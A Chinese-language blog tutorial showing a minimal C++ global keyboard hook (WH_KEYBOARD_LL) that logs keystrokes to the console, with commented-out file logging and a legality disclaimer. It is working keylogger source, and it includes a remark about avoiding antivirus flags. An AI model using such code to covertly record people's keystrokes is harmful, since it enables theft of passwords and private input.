当前位置: 首页 > news >正文

windows实现键盘记录

使用 SetWindowsHookEx 编写键盘记录器(键盘钩子/Keylogger)在技术上可行,通常用于调试、输入法、辅助功能开发。但出于合法合规目的,请确保仅在你有授权的系统或窗口中使用,比如你自己开发的程序或本地测试,切勿用于窃取他人隐私或非法监控。

示例:全局键盘钩子(WH_KEYBOARD_LL)

以下是一个基于 WinAPI 的最小可运行键盘记录器(记录到控制台)

项目设置要求

  • 平台:Windows
  • 编译环境:Visual Studio(或 g++ with WinAPI 支持)
  • 链接库:User32.lib

示例代码(键盘记录器)

#include <windows.h>
#include <iostream>
#include <fstream>HHOOK hHook = NULL;// 按键回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode == HC_ACTION) {KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {DWORD vkCode = p->vkCode;char keyName[32];GetKeyNameTextA((LONG)(p->scanCode << 16), keyName, 32);std::cout << "[KEY] VK: " << vkCode << " Name: " << keyName << std::endl;// 也可以写入日志文件/*std::ofstream log("keylog.txt", std::ios::app);log << "Key Pressed: " << vkCode << std::endl;log.close();*/}}return CallNextHookEx(hHook, nCode, wParam, lParam);
}// 安装钩子
void SetHook() {hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);if (hHook == NULL) {std::cout << "Failed to install hook!" << std::endl;} else {std::cout << "Hook installed." << std::endl;}
}// 卸载钩子
void Unhook() {UnhookWindowsHookEx(hHook);std::cout << "Hook removed." << std::endl;
}int main() {SetHook();// 消息循环,否则钩子不会触发MSG msg;while (GetMessage(&msg, NULL, 0, 0)) {TranslateMessage(&msg);DispatchMessage(&msg);}Unhook();return 0;
}
  • WH_KEYBOARD_LL 只能在桌面进程中设置,不能在服务中工作。

  • 这段代码只是“监听按键事件”,如果你想记录文本,还需要配合 ToAscii() 或 GetKeyboardState() 转换为字符。

  • 为防止被杀毒软件误报为木马,避免编译后的程序驻留后台、上传按键信息等行为。

http://www.aitangshan.cn/news/661.html

相关文章:

  • Linux 安装 Nginx 并配置为开机自启动
  • 在K8S中,有一种情况,公司希望通过保持最低成本来提高效率和技术运营速度,该公司实该如何现这一目标?
  • 基于MATLAB的单目深度估计神经网络实现指南
  • DLL Injection for Notepad
  • 在K8S中,有一家公司想要修改其部署方法,并希望构建一个可扩展性和响应性更高的平台,该公司要如何实现这一目标以满足他们的客户?
  • 记一次 .NET 某汽车控制焊接软件 卡死分析
  • 在K8S中,我们都知道从单服务到微服务的转变从开发方面解决了问题,但在部署方面却增加了问题,公司该如何解决部署方面的问题?
  • 扣子 Coze 产品体验功能
  • 为什么现在的音乐+图片的多媒体形式的感染力这么强
  • 如何排查CPU占用过高
  • 关于网络性能的命令
  • 在K8S中,有一个公司要向具有各种环境的客户提供所有必需的分发产品的方案,如何看待他们动态地实现这一关键目标?
  • 在K8S中,有一家公司希望在从裸机到公共云的不同云基础架构上运行各种工作负载。在存在不同接口的情况下,该公司将如何实现这一目标?
  • Playwright基础入门篇 (1) | 环境搭建与首个自动化脚本
  • 在K8S中,集群服务暴露失败 如何解决?
  • noip2022
  • noip2023
  • csp2023
  • 酷睿Ultra和i系列有啥区别?怎么选看这几点
  • 在K8S中,pod 状态为 ErrlmagePull 如何解决?
  • 在K8S中,外网无法访问集群提供的服务 如何解决?
  • 2.3 GTK 中的动作(action)概述
  • docker 封装php项目
  • OpenCV入门(17):图像形态学操作
  • M序列 CEVA DSP 实现
  • 各类损失loss
  • 数论 学习笔记
  • [笔记]GGML 或GGUF的14种不同量化模式说明
  • Visual studio 2017安装教程 VS2017(附安装包)
  • Python装饰器底层原理